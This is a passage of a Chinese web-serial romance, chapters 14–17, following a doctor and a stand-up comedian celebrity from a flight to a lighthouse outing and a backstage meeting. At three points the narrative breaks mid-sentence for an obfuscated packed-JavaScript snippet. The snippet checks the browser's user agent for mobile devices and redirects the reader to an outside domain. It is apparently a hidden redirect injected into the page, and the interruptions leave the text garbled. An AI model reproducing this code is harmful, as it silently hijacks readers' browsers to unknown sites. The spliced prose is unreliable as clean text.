14. 第14章 “女生们、先生们,我们的飞机已经抵达滨海青岚国际机场……” 广播声将温昭从睡梦中唤醒。 温昭迷迷糊糊地睁开眼,纤长的睫毛扑闪了两下。她下意识揉了揉酸痛的脖颈,突然察觉到了什么,整个人猛地僵住。 “醒啦。” 耳边传来清泠的男声,带着几分慵懒。温昭一转头,正对上祁慕那双含笑的桃花眼。 他歪着头看她,唇角勾起一抹玩味的弧度。 温昭这才惊觉自己竟然一直枕在他肩上! 她触电般起来,脸颊立马烧得滚烫,连带着耳尖都染上绯色。 “温医生,倒睡的挺香啊。”祁慕活动了下肩膀,“就是,我这肩膀…” 他欲言又止地揉了揉肩胛骨,“……怪酸的。” 温昭懵懵地眨眨眼,大脑还处于宕机状态。 她明明记得是这家伙先靠在她肩上睡着的怎么一觉醒来倒变成她枕着人家了? 旁边偷瞄全程的陶逸兴憋笑憋得肩膀直抖—— 得,这位爷又开始演了。 温昭自己也不知道发生了什么,只能先说下道歉。 “对不起啊……”她声音带着睡意,软软的,像只做错事的小奶猫。 “没关系,”祁慕漫不经心地回应,“我大人有大量,不计较。” “……” 说着他拿出手机,修长的手指在屏幕上轻点几下,二维码界面直接放到她面前。 “干嘛?” “加微信。”祁慕面不改色,“你不是滨海人吗?我第一次来,到时候找你当导游。”他说得理直气壮,仿佛这是什么天经地义的事。 温昭盯着那个发光的二维码,心里嘀咕:这种旅游攻略网上不都能查到? 见她没动作,祁慕直接把手机又往前送了送,就差怼到她脸上。 无可奈何,温昭打开了微信。 “滴——” 屏幕上跳出了一个信息栏,他微信名很简单,但有些意外—— 7。 这个数字像一道风吹开了记忆相册。 她想到小时候那个小哥哥送给自己的小鱼吊坠上也有个“7”。 应该…不会这么巧…… 她偷偷抬眼,祁慕正低头调整黑色口罩,布料将他高挺的鼻梁遮住大半,只露出一双深邃的眼睛。 记忆里那个模糊的脸和眼前的人无法对不上号。 她愣愣地问了一句:“为什么叫这个?” 祁慕低头整理着衣服:“因为我叫祁慕啊。” 这个回答像是一颗石子掉落在了平静的湖面,在她心中激荡起不小的水花。 她轻轻地重复:“祁慕…” 这两个字在唇齿间辗转,带着说不清道不明的眷恋。 祁慕偏头看她时,发现她的眼神有些迷离,就像是透过他在看另一个人。 “加了我微信,不至于开心成这样吧。”他充满戏谑的语气将她拉回现实。 温昭猛地回过神,手忙乱地屏幕上轻点。 很快,祁慕的屏幕上传来了一个好友添加信息—— 【温昭已添加您为好友】 不出两秒,温昭的屏幕上也弹出了一条信息—— 【7已通过您的好友申请】 - 推开家门时,客厅里静悄悄的,只有壁灯还亮着暖黄的光。王舒月应该已经睡了。温昭踮着脚尖回到房间,轻轻关上门。 温昭轻手轻脚地回了房间,在窗边坐下,月光很皎洁,呈月牙状。 她摩挲着掌心里的小鱼吊坠,指腹轻轻抚过那个刻着“7”的数字,记忆随着月光飘回那年冬天。 那天下着小雪。 温昭从住院部出来时,整个医院银装素裹的,很美。 她撑着伞往花园走,远远就看见一群孩子围成圈。走近了才听见刺耳的笑声: “我听说你爸妈要离婚了?那你就是没爹的野孩子了!”一个胖墩墩的男孩叉着腰,嗓门大得惊人。 “哈哈哈,没爹的野孩子!”其他孩子跟着起哄,笑声在雪地里格外刺耳。 雪花簌簌的落在伞上,融化成水滴,落在草坪上。 她走近了些,看清了被围在中间的那个男孩。他穿着一件白色的羽绒服,小脸冻得发白,却倔强地抿着嘴唇,拳头攥得紧紧的。 刺耳的嘲笑声还在继续。 温昭攥紧了伞柄,虽然害怕,但还是迈出了脚步。 “你们在干嘛。”她鼓起勇气喊道,声音在寒风中有些发颤。 那个领头的胖男孩转过头,上下打量着眼前这个比自己矮半个头的女孩,不屑地嗤笑一声:“关你什么事!” 他故意往前迈了一步,壮实的身板像堵墙似的挡在温昭面前。 温昭咬了咬唇,伞柄微微发抖,也不知道哪来的勇气,跑到男孩面前。 “你们那么多人欺负一个,算什么本事?”她眼睛里没有怯懦,软糯的声音变得铿锵有力,“我已经叫保安了,你们等着。” 胖男孩明显一愣。 在这个年纪,被叫家长可比挨揍可怕多了。 正僵持着,远处传来医生的呵斥声:“那边的孩子们在干什么?” 几个男孩顿时慌了神,互相使着眼色。 胖男孩临走还不忘撂狠话:“你们给我等着!”说完便带着人一溜烟跑没了影。 温昭这才长舒一口气,转身看向身后的男孩。 他约莫比自己大个一两岁,脸上还带着未消的怒气,睫毛上、身上都留着几片未融化的小雪花。 “你没事吧?”温昭轻声问道。 说完,向男孩伸出了手。 男孩盯着她看了许久,才慢慢把手放上来,他的掌心冰凉,却很有力。起身后,他沉默地拍打着衣服上的雪水。 “咦?”温昭看向地上。 在被雪覆盖的地上,有一个东西,发着橙色的微光,在雪地里格外明显。她弯腰捡起,是条小鱼吊坠。 “好漂亮啊!”她眼睛亮晶晶地看向男孩,“是你的吗?” 男孩点点头。 温昭把它递到男孩面前:“给。” 男孩沉默着接过,只说了句“谢谢”,就跑走了。 …… 这是温昭第一次遇见他。 …… 温昭从回忆中抽离,发现掌心的吊坠已经被捂得发烫。她抬头望向窗外的月牙,耳边又响起飞机上祁慕说的那句话—— “因为我叫祁慕啊。” 记忆里那个瑟缩在雪地里的单薄身影,和如今这个冷峻毒舌的大明星,怎么看都不可能是同一个人! “或许只是巧合……” 她轻声自语,指尖抚摸着挂坠上凹进去的“7”字。 - “昭昭,昭昭!”王舒月敲着温昭的房门,声音穿透力十足。 温昭迷糊地从被窝里探出头,显然还没睡醒。她顶着乱蓬蓬的头发去开门:“什么事啊妈……”她打了个哈欠,声音还带着浓厚的睡意。 “哦呦!还睡着呢!”王舒月一把拉开窗帘,阳光照亮了整个房间,“这都几点了!” 温昭眯着眼睛看了眼闹钟,刚好十点半。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286417|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她昨晚翻来覆去到早上五点多才睡着,满打满算才睡了五个多小时,实在算不上多。 王舒月又说:“待会陪妈妈去趟超市啊!”王舒月说着把拖鞋放到女儿脚边。 “好!”温昭闭着眼回答。 “快洗漱昂!”王舒月说着带上了门。 温昭见她走后,又重新躺回被窝,眯了几分钟。可惜好景不长,没过几分钟就被母上大人的夺命连环call逼得认命起床。 …… 节假日,商场上人特别多。 刚走进商场一楼,温昭就看到了大屏上投着祁慕的应援屏。她看完了全部,最后一幕写着“祁慕5.2号5.3号演出顺利”。 所以他是来滨海演出。 温昭不由得感叹:真是阴魂不散! 周围不少小姑娘举着应援手幅在屏幕前打卡拍照,叽叽喳喳的讨论声传入耳中。 她们推着购物车来到负一楼的超市,她正帮妈妈挑选水果,手机却“叮咚叮咚”响个不停。 “又是温恬恬。”温昭小声念叨着,语气很笃定。 但打开的瞬间,却傻眼了—— 7:【在?】 7:【去过灯塔吗?】 温昭只敲下一个“嗯”字。 发出去后又觉得太冷淡,鬼使神差地补了句:【小时候常去。】 消息发出去的瞬间她就后悔了—— 跟他说这个干嘛?他们很熟吗?! 正懊恼着要把手机塞回口袋,屏幕又亮起来: 7:【陪我去】 温昭眉头一皱:【自己去。】 对话框上方立刻显示“对方正在输入”,她等了几秒没见回复,索性把手机调成静音扔进包里。 直到结账时,手机才再次亮起—— 7:【晚上八点这等你】 7:【地址】 上面写着“滨海灯塔公园东门”。 温昭差点把购物袋摔在地上。 这人怎么这么霸道啊!都说了不去了! 而且要是被粉丝或者狗仔拍到,她岂不是又要跟着上热搜? 她咬着唇犹豫片刻,还是妥协地回复,毕竟她也有十多年没去那儿了。 温昭:【换一个{地址},这儿近。】 对方秒回: 7:【好。】 “昭昭,发什么呆呢?”王舒月疑惑地凑过来 “没、没什么……”温昭慌忙把手机藏到身后,心里已经把某个自作主张的家伙骂了一百遍。 - 晚上七点半,温昭对着镜子把自己裹成了个“粽子”—— 黑色口罩、鸭舌帽、大墨镜,像个准备作案的劫匪。 她对着镜子转了一圈,暗自庆幸妈妈每天这个点都要去跳广场舞,不然看到她这副打扮,非得刨根问底不可。 滨海灯塔是这座城市最浪漫的地标,夜晚亮灯后,暖黄的光晕笼罩着整个海湾,比白天还要美上三分。旁边的夜市人声鼎沸,穿着清凉的游客们举着冰淇淋和奶茶穿梭其中,欢笑声此起彼伏。 温昭这身装扮在人群中格外扎眼,路过的小姑娘还频频回头,八成是把她当成了什么明星。 七点五十五分,温昭坐在灯塔下的木椅上。 海风裹挟着湿意拂过脸颊,稍稍驱散了滨海特有的闷热。她第三次看表,又环顾四周。那个说要来的人,到现在连个鬼影子都没见着。 “该不会是耍我的吧.……”她小声嘟囔着。 话音刚落,身后就传来了一股柑橘香气。 “谁耍你了?” 15. 第15章 温昭猛地转头,站起身,祁慕站在她身后。 他双手插兜,虽然也戴着口罩和帽子,但比她这身“劫匪装”清爽多了。 “说我坏话?”他倾身凑近,声线带着笑意。 温昭下意识往后缩了缩,拉开安全距离。 祁慕见状,看了眼她,随后也直起身子。 “……没有。”她眼神闪躲。 没等温昭反应,他已经在她旁边的长椅坐下,双腿随意交叠。 温昭见状紧张地环顾四周,生怕冒出什么粉丝或狗仔。 而祁慕丝毫没在意。 “我五十分就到了,”他漫不经心地说,“只不过找你找了十分钟。” 温昭一愣:“啊?为什么找这么久?” 祁慕转过头,上下打量着她。 滨海五月的夜晚闷热难耐,眼前这人却裹得严严实实,长袖长裤加口罩帽子,像是要去当劫匪。 而且两人站在一起, 就像…来偷情…… 但他知道,也了解她的顾虑,毕竟之前上过那么多次热搜,小姑娘可能有担忧。 她能出来已经很给面子了,也就没继续说什么。 “我眼神不好。”他轻飘飘扔下这句话,站起身,“灯塔在哪?” 温昭指着方向:“前面200多米,转个弯就到了。” 祁慕怔了一秒:“这就是你说,近?” 夜色中路灯昏暗,温昭看不清他的表情,但心里直犯嘀咕: 两百米还不近吗? “走吧。”他语气淡淡的。 温昭低着头跟在他身后,刻意保持着一米左右的安全距离。 突然,前面的人毫无预兆地转身—— 就这样。 “啪——” 温昭整张脸撞进他怀里。二十公分的身高差让她鼻尖正好抵在他锁骨处。由于惯性,她踉跄了一下,祁慕眼疾手快地扶住她的腰。 她慌乱抬头,正对上他深邃的眼眸。她心跳快速跳动着,口罩下的脸温度逐渐上升,连带着耳尖,也跟着慢慢变红。 空气逐渐变得粘稠,周围路人的声音也渐渐褪去。 两人就这样对视了不知多久。 头上昏黄的路灯,照在了他们的身上,映在了地上。两人的影子在地上交叠,比他们本人还要亲近几分,几乎融为一体。 海风无声地吹打着温昭的发尾,微微飘扬,扫过祁慕的坚实的手臂,就像小猫在挠痒痒。 她双手放在他胸前,隔着一件衣服,她也能感受到眼前的这个人和自己一样的心跳节奏。 “妈妈快看!那两个人在抱抱!”孩童稚嫩的声音突然打破了这原本缱绻的一切。 “嘘!哥哥姐姐在谈恋爱,你别捣乱。” 谈恋爱? 温昭抬头又看了眼面前的人,像触电般挣脱开他环绕的手臂,往后退了几步,低着头手忙脚乱地整理着根本不乱的头发和衣服。 空气中弥漫着一丝尴尬,而尴尬的只有她一个人,毕竟祁慕是故意的。 “离我那么远干嘛?”祁慕率先挑破这层略微尴尬的薄膜。 “怕…怕被拍到……”她声音越来越小。 祁慕长腿向前迈了一步,两人之间的距离瞬间缩短:“只要陶逸兴那人不在,我们穿成这样……” 他故意拖长尾音,目光在她裹得像个粽子似的装扮上转了一圈,嘴角勾起一抹坏笑—— 像两个第一次进城探亲的土包子夫妇。 “穿成哪样?” “你这样的,”祁慕忍笑指了指她的渔夫帽和口罩,“放心!要是有人能认出来,那人估计是‘奇葩’。” 这话倒是不假。 其实祁慕的装扮还算正常,主要是温昭。 认识这么久,祁慕还是第一次见她这副模样。 在医院时她总是穿着白大褂,专业又温柔;平日里也是温婉大方的打扮。哪像今天,硬是把天生丽质遮得严严实实,把温婉的气质全部遮掩,变成了一个准备作案的劫犯。 温昭看了眼自己身上的绿色外套和蓝色的阔腿牛仔裤,确实有些奇怪,不过,还不是因为他! 她看到眼前的人,眼角弯的厉害,就知道在嘲笑她。 “走啦!”祁慕转过身,白色短袖衬衫微扬。 他故意走慢,与温昭同行。 - 那座标志性的白塔就矗立在层层叠叠的礁石之上,朱砂红的塔顶在夜色中不怎么醒目。此刻灯塔已经亮起暖黄色的灯光,像一位沉默的守候者,庄严地俯瞰着整片海域。 周围人潮涌动,祁慕不得不站在十米开外。他包装的毕竟没有温昭那么好,离得近,身上的气质还是能看出来。 他望着远处的灯塔,眼底闪过一丝落寞。 温昭看向他似乎有所察觉,突然伸手,轻轻拉住了他的手腕:“跟我来。” 她拉着他钻进了一片幽静的椰林,夜风拂过椰叶沙沙作响,月光透过缝隙在地上投下斑驳的光影。 “这是哪?” 温昭没有回答,只是牵着他继续往前走。穿过最后几棵椰树,眼前豁然开朗。 一片广阔的沙滩和大海展现在眼前,海浪轻轻拍打着岸边。 “看那!”她指向十一点钟方向。 灯塔在远处散发着昏黄的光晕,倒映在海上,随着海水摇曳。周围没有游客的喧闹,只有海浪轻轻拍打岸边的声音,为这绚烂的景致增添了几分宁静。深蓝色的天幕与海面交融,将这份静谧的浪漫缓缓推向岸边。 “怎么样,是不是很美?” 祁慕完全沉浸在这份意外的美好中。 比起挤在人群中近距离观看,这样远远地欣赏反而更有意境。灯塔的光晕在夜色中朦胧而神秘,像是被罩上了一层轻纱。 他看向她:“你经常来这儿?” “也不算经常,小时候我也嫌那边太多,后来爸爸发现了这块地方。”她的声音温柔下来,“虽然不能近距离看,但坐在这里听着海浪,远远地望着灯塔,反而更觉得美好。” 她转过头,眼睛亮亮的:“你说是不是?” 祁慕口罩下的嘴角不自觉地上扬,点了点头。 确实比挤在人群里看要美得多,那光影朦胧得像蒙着纱的梦境。 温昭望着灯塔出神。 多年前父亲把她扛在肩头嬉闹的画面突然鲜活起来。沙滩还是那片沙滩,可背着她踩浪花的人,早就化成了一张照片。 她摘下了脸上的“装备”,任由海风拂乱她的长发。 “你不怕被拍到了?”祁慕挑眉。 “反正这又没人。”她笑着眨眨眼。 祁慕低笑一声,也摘下了伪装。 就在这时,温昭看向远处,像是发现了什么,突然站起来,小跑过去。 “祁慕!快来!”她回头招手,声音里满是欣喜。 海水边缘,神秘的蓝光随着浪花若隐若现。 温昭激动得声音都在发抖:“是蓝眼泪!” 她已经十多年没见过了。 浪花卷着碎钻般的蓝光扑上岸边,犹如银河倾泻。当浪花在温昭脚边碎裂时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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祁慕只觉得心跳声大得吓人,一下一下撞击着胸腔。 …… 夜色渐浓,月亮被薄薄的云层遮住了一角。两人沿着海岸线慢慢往回走。灯塔旁的夜市灯火通明,温昭眼尖,一下就看到了最前面那一家卖糖葫芦的。 她跑了过去,祁慕跟在她身后。 玻璃柜里摆满了五颜六色的水果糖葫芦,草莓、葡萄、猕猴桃...就是没有她喜欢的山楂口味,听老板娘说是卖完了。 “走吧。” 祁慕歪头看她:“你喜欢吃糖葫芦?” “嗯。”温昭点点头,“不过我爱吃山楂味的。” 她又说,“小时候爸爸带我去京海玩,我爸给我买了一串糖葫芦,这也是我第一次吃它,里头的山楂又酸又甜。后来再吃,总觉得不是那个味道了。” 那也是她爸爸确诊之前,一家三口最后一次出去玩。 祁慕的目光在她侧脸停留了片刻,没再说话。 …… “我到了,你也早点回去吧。”温昭在小区前停下脚步。 “温昭。” “还有什么事儿吗?” 祁慕的手从口袋里掏出来,指尖夹着一张烫金门票,递到她面前。 温昭低下头,愣了一秒:“这什么?” “明天我演的门票,”他声音带着不容拒绝的坚定,“你来。” 温昭轻笑了一声,刚要说什么,祁慕却像是看透了她心思般抢先道。 “不讲临终关怀,”他顿了顿,又说,“这次讲别的。” 晚风突然静止了一瞬。 温昭怔怔地望着他,手指却像有自己的意识般,接过了那张还带着他体温的门票。 “……好。” 轻飘飘的一个字消散在风中,却让温昭的嘴角不自觉上扬。 16. 第16章 走进小区电梯,温昭低头看着手中被捏得有些皱的门票。烫金的字体在电梯顶灯下闪着细碎的光,她忍不住又抿嘴笑了笑。 ——好像…也没那么讨厌了…… “叮——” 电梯门打开。 她拿出包里的钥匙,在孔里转了好几圈,嘴角的弧度还是没压下去。 “妈,我回来了……” 王舒月坐在沙发上探出头,走了过来。 她指了指客厅的钟表:“温昭同学,都十点了,干嘛去了?” “就……好久没回来,随便逛逛。”温昭低头换鞋,满脸的心虚,让她不敢抬起头。 “哦——逛了逛呀,”王舒月意味深长的说着,“一个人?” “……嗯。” 见王舒月还想盘问什么,温昭立马打断她:“妈,今天外面太热了,我先去洗澡了。” 没等回复,温昭就仓皇而逃。 温热的水流顺着发丝滑落,“啪嗒啪嗒”打在大理石地面上。氤氲的水汽很快弥漫开来,将整个浴室笼罩在朦胧的雾气中。 温昭闭着眼,水珠不断从睫毛上滚落。 奇怪的是,脑海里全是那个人的身影—— 他说“谢谢”的时候,异常温柔的语调; 还有邀请她去看脱口秀时的坚定; 还有他靠近她时,身上那股淡淡的柑橘调香味; …… 每个关于他的瞬间都像播放片一样,在温昭脑子里挥之不去,让她心尖发麻。 “别想了别想了……” 她胡乱地撩开湿发,却怎么也甩不开那些画面。水汽中,她没注意到自己的嘴角越发不受控制地上扬,缱绻的湿气与内心的思绪渐渐融为一体。 …… 与此同时,酒店房间里。 祁慕独自坐在没开灯的床边,只有霓虹灯光透过窗户,投下微弱的光芒。 天边一弯新月静静悬挂,他走到窗前。 月光下,他掏出手机。 屏幕亮起的瞬间,是温昭在沙滩上玩水的照片—— 她蹲在泛着蓝光的海浪边,发丝被海风吹得飞扬,笑容很明媚。 这是他相册里关于她的第三张照片。 他手指在通讯录上停顿片刻,最终还是拨通了陶逸兴的电话。 陶逸兴似乎已经睡了,声音模糊:“大半夜的干嘛?” “帮我个忙……” - 隔天傍晚,家里就只有温昭一个人。 原本想陪妈妈吃个晚饭再出门,谁知这位大忙人妈妈有约了,根本不需要她。 站在衣柜前犹豫了半天,温昭拿出了那条去年买的蓝色碎花吊带裙。她很少穿裙子,这条还是去年买的唯一一条。 她又翻出手机找了个夏日妆容教程,对着镜子捣鼓起来。化妆刷、亮片、小钻片摆了一桌,像要搞什么实验。 整整化了一个多小时,可把她累坏了。 索性结果还不错,是一个夏日风的妆容—— 蓝粉渐变的眼影,上面点缀着星星亮片和小钻,粉嫩的腮红衬得肌肤像水蜜桃,嘴唇上也是蜜桃粉的玻璃唇釉,饱满娇嫩,像个果冻。 温昭对着镜子照了照,还算满意。 刚准备出门,目光瞥到桌上原本准备的口罩,她有些纠结—— 戴吧,这妆就白化了; 不戴吧,万一被认出来,前几天送医的热度还没完全消退,要是再上一个怎么办…… 最后她哀怨地拿起口罩,戴上,露出那双精心打扮过的眼睛。 …… 刚到下车,门口早已围满了拍照打卡的粉丝。温昭也凑热闹拍了几张,这才检票入场。 祈慕给的票是VIP座位,在中间区域。 她顺着第三排的座位号慢慢找过去。 场内人还不多,大多数观众都在外面晃悠。走到24号座位前,她刚坐下,手机就“叮”地亮了起来。 7:【到了吗?】 温昭回复道:【嗯,刚到。】 7:【走到门口,有人来接你。】 温昭愣了愣,接她?接她干嘛? 她回复了一个问号。 7:【来后台。】 温昭睁大了眼睛,心想,这人是疯了吗?让她去后台?被拍到怎么办? 7:【放心,不会被看到。】 看了眼时间,离演出还有一个多小时。 温昭犹豫再三,起身往出口走去。果然有个戴着工作证的男生在等她,带着她七拐八绕,最后停在一间小包厢前。 工作人员刚推开门,化妆镜里就映出祁慕精致立体的侧脸。 他刚做完造型,额前的碎发用发胶喷了上去,露出饱满的额头。烟熏妆让本就深邃的五官更加立体,配上机车风的皮衣,整个人散发着危险的吸引力。 “来了。”他转过头。 “有什么事吗?” “带你见个人。” 还没等她反应过来,祁慕已经牵起她的手。 他的手掌宽大温热,将她的手完全包裹住,带着她来到隔壁包厢。 “咚咚咚——” 祁慕象征性地敲了敲门,却没等回应就推门而入。 化妆镜前坐着个正在玩手机的男人,背影看起来不像是脱口秀演员,倒像是特邀嘉宾。 “梁哥。”祁慕拉着温昭走近。 男人转过身的那一刻,温昭差点腿软—— 这、这不是梁咏思吗?! 她震惊地看向祁慕,眼睛瞪得溜圆。 “这位是?”梁咏思友善地看向温昭。 “我朋友温昭,”祁慕嘴角噙着笑,“也是你的……粉丝。”最后两个字他说的有些“不屑”。 “你好,我是梁咏思!”他伸出手。 温昭整个人都懵了。 从初中起就喜欢的偶像竟然此刻出现在眼前,这冲击力不亚于被雷劈中。 更让她震惊的是,祁慕怎么会知道她喜欢梁咏思? “再不握手,”祁慕凑到她耳边,呼吸拂过她敏感的耳垂,“你偶像的手该酸了。” 这亲昵的举动让温昭耳尖瞬间烧了起来。 她摘下口罩,慌忙伸出手:“您、您好!我是温昭,我特别喜欢您的歌!” 祁慕满意地看着她惊喜交加的表情,眼底闪过一丝窃喜。 …… 三人聊了会儿天,梁咏思便在助理陪同下先行前往二楼的VIP包厢 ——这当然是祁慕精心安排的,毕竟今天风头不能让他一个人独占了! 等门关上后。 温昭抬头看他,心里有好多个问题,例如—— 他怎么会认识梁咏思? 他怎么知道她喜欢梁咏思? 还有…… 纠结了半天,还是决定先问她最想问的:“你…怎么知道我喜欢他?” 祁慕低头看她:“你什么?” “我……喜欢他的歌?” “不小心看到的,”祁慕耸耸肩,“那天在飞机上,你手机屏幕亮着,正好在循环播放他的歌。” “所以,他今天是特意……” “不是!”祁慕急忙打断,语气突然变得一本正经,“我早就邀请他了,只是恰好知道你喜欢他、的歌!所以顺、便、让你见见偶像!”一句话被他断成了好几截,重音多得离谱。 啧,这谎撒得他自己都不信。 ——才怪! 当然是特意为她请来的。 不过要是被她知道真相,肯定又要想东想西。这姑娘什么都好,就是想的太多。昨天裹成粽子怕上热搜的样子,他可是记忆犹新呢。 不过他也能理解她。 “不管怎么样,谢谢。” 他俯身向她靠近:“就一句谢谢?” 温昭往后缩了缩,转过头,耳尖被染成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286419|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车厘子色:这人说话,怎么老喜欢凑那么近。 “要不…要不我请你吃饭?”说完,她才肯转头看他。 “行啊,”他直起身,眼底带着笑意,“结束后后台等我。” “好、好的!”温昭慌忙转身,"我…我先回去了!” 刚走两步,又被叫住。 “温昭,”祁慕的声音突然温柔下来,“今天……” 他目光在她精心打扮的装扮上,微卷的长发,小小的脸上五官精致,活脱脱一个水蜜桃。 他嘴角微扬:“很漂亮。” 温昭被他夸得心跳漏了半拍,本就粉嫩的脸颊再次红了一圈。她头也不回地小跑出去,连背影都透着羞涩。 祁慕靠在门上,双臂交叠,望着那个落荒而逃的背影,忍不住歪头轻笑。 “哟,这不是温医生嘛!”陶逸兴不知什么时候冒了出来,“怪不得某人昨天半夜三更给我打电话,非要约梁老师吃饭,原来是为了讨小姑娘欢心啊~” “滚!” “哎哎哎,”陶逸兴凑近,“你什么时候给人家的票,你俩现在什么情况?” “没情况……”祁慕语气淡淡,连眼皮都懒得掀一下。 可陶逸兴是谁啊,两人穿一条裤子长大的关系,就祁慕这点小心思哪那么容易糊弄过去?他瞥见某人嘴角那抹压都压不下去的弧度,再顺着他的视线往走廊尽头看。 好家伙,人都没影儿了,还盯着看呢? “装,继续装!”陶逸兴啧啧摇头,双手交叠,“眼珠子都快黏人家身上了,还‘没情况’? 祁慕终于舍得赏他一个眼神,却是嫌弃地往旁边挪了半步。可目光一转,又不自觉地往温昭离开的方向飘。走廊空荡荡的,连个鬼影子都没有。 他忽然轻笑一声,索性破罐子破摔,任由那笑意在唇角绽开。 …… 温昭坐到座位上,重新戴上口罩。 距离演出开始只剩下十多分钟,观众席已经坐满了人。 “嗨!你也是慕慕的粉丝吧?”邻座的女孩热情地凑过来,递给她一个小袋子,“这个送你!” 慕…慕? 他粉丝都这么叫他!? 她低头憋笑,口罩边缘微微颤动。 “谢谢……”温昭接过精致的饭制礼物,有些不好意思,“不过我什么都没准备……” “没关系的!”女孩摆摆手,“这些都是我们粉丝自发准备的小心意。” 温昭好奇地翻看礼物。 是个Q版祁慕的手机挂绳,亚克力牌上的大头娃娃软萌可爱,一双无辜的大眼睛。这跟刚才后台那个穿着机车服的男人简直不是一个模子刻出来的! 舞台灯光褪去。 一束追光突然打在中央。祁慕迈着长腿走上台,台下顿时发出欢呼声。 温昭偷偷举起手机,刚按下快门,镜头里的男人却突然抬眼—— 她手一抖,差点摔了手机。透过屏幕,能清晰看见他化着烟熏妆的深邃眼眸无意地往她这边瞥了一眼,嘴角还挂着若有似无的笑。 “今天我们来聊聊当代年轻人的生存现状。”独特的薄荷嗓音,带着点漫不经心的味道,是他专有的风格。 “比如相亲——现在相亲市场上明码标价,985毕业的加5000,有房有车的翻倍。我就纳闷了,这到底是找对象还是拍车牌?” “最绝的是催婚,”他挑眉,“二十八、九岁不结婚就是‘剩男剩女’,三十多岁不生孩子就是‘不孝’。合着人生就是条生产线是吧?到点儿必须出厂,保质期过了就报废?” …… 不得不说他说的每个都是抓住了要点,像是把所有的社会痛点都撕开了给人看。 温昭看着舞台上那个带着痞笑的人,讲出来的话虽然毒舌,但字字在理,除了上次。 她心里不禁出现了一个疑问—— 他对临终关怀真的只是普通的误会吗? 17. 第17章 演出结束后,温昭轻车熟路地摸到后台。包厢门虚掩着,陶逸兴正和祁慕说着什么。 她礼貌性地敲了敲门。 陶逸兴一抬头,立刻露出心领神会的表情:“那你们聊,我先撤了!” 临走时还不忘贴心地带上门,冲祁慕眨了眨眼。 “坐。”祁慕指了指身边的化妆椅。 温昭点了点头,乖乖坐下,双手规规矩矩地放在膝盖上。 “今天,我说得怎么样?” “你粉丝挺满意的。”温昭看着他,回答有些欲盖弥彰。 祁慕点点头,明显对这个回答不满意。 他拉着椅子凑近,木质椅脚在地板上划出刺耳的声响:“我是说你……” 他的目光太过灼热,温昭不自觉地低下头,手指绞着裙摆:“还、还可以吧。” “就只是还可以?”祁慕继续追问。 “比上次好……”她小声补充,耳尖悄悄红了。 祁慕被她的反应逗乐了,目光不经意间落在了她的手机上。 温昭将粉丝送的手机挂绳挂在了手机上,和她可爱的食玩手机壳意外地搭。 “这什么?”他指了指挂绳。 “这是你粉丝送的……” “你又不是我粉丝,”他突然凑近,“干嘛戴这个?” 他就这样盯着温昭,像捕猎人在盯一个猎物,带着几分戏谑。 “我……就是觉得还、还挺好看的。” 祁慕强压住上扬的嘴角,拿起挂绳在她眼前晃了晃:“那你说,是我好看,”他故意停顿,“还是他好看?” 温昭看着挂绳上那个眨着大眼睛的萌版祁慕,再看看眼前这个痞里痞气的本尊,一时语塞。 ——这不都是同一个人吗! 见她支支吾吾答不上来,祁慕也见好就收,立马转移话题。 “我们去哪吃?” 温昭松了口气,声音都轻快了几分:“我知道有条夜市,东西好吃人又少。” 祁慕点点头站起身:“等我一下。”说着就开始解外套扣子。 “你干嘛?”温昭瞪大眼睛。 祁慕瞥过头,看着温昭一脸震惊的表情,就知道她想歪了。他嘴角带着玩意的笑了一下,但又可劲儿憋住。他俯下身,双手撑在她椅子扶手上,健硕的身躯带着几分压迫感,将她整个人笼罩。 他凑得极近,温昭甚至能在他漆黑的眼眸里看到自己小小的一团。 “温医生……”他压低嗓音,带着几分性感,他的视线盯在她泛红的耳尖上,“当然是换个衣服,难不成你想被拍?” 温昭这才反应过来。 但被他这么近距离地盯着,脑子都快转不动了:“你、你就不能去里面换吗!” 祁慕直起身,一脸无辜地扯了扯T恤下摆:“我只是脱个外套而已,里面还有T恤呢。”他故意扬起音调,“哦——你该不会以为……” “我没有!”温昭急忙打断,耳根就像熟透了的车厘子。 祁慕意味深长地点点头:“也是,毕竟你都看过……” 温昭张了张嘴,一脸无辜—— 这人怎么这么不要脸! 那天明明就只看到一点点轮廓好吗! 而且是他自己不好好穿衣服,现在居然倒打一耙! 祁慕看着气得腮帮子都鼓起来的模样,终于大发慈悲地放过她,拿着衣服进了里间。关门时听见外面传来一声气呼呼的“哼”,忍不住低笑出声。 “真可爱。”他换着衣服,可嘴角的那抹弧度怎么也压不下去。 外面。 温昭坐在化妆镜前,看着镜子里自己红得像熟透苹果的脸,气呼呼地瞪了更衣室门一眼。 她低头看到手机上的Q版挂件,更是气不打一处来,伸出食指狠狠地戳了戳那张笑得灿烂的萌脸。 “流氓!不要脸!”她小声嘀咕,每说一个词就戳一下,仿佛这样就能报复到本尊似的。 挂件上的亚克力牌随着她的动作晃来晃去,Q版祁慕依旧保持着他圆溜溜的大眼睛,像是在嘲笑她的恼羞成怒。 …… 温昭脸上的热度终于褪去,更衣室的门也被打开。 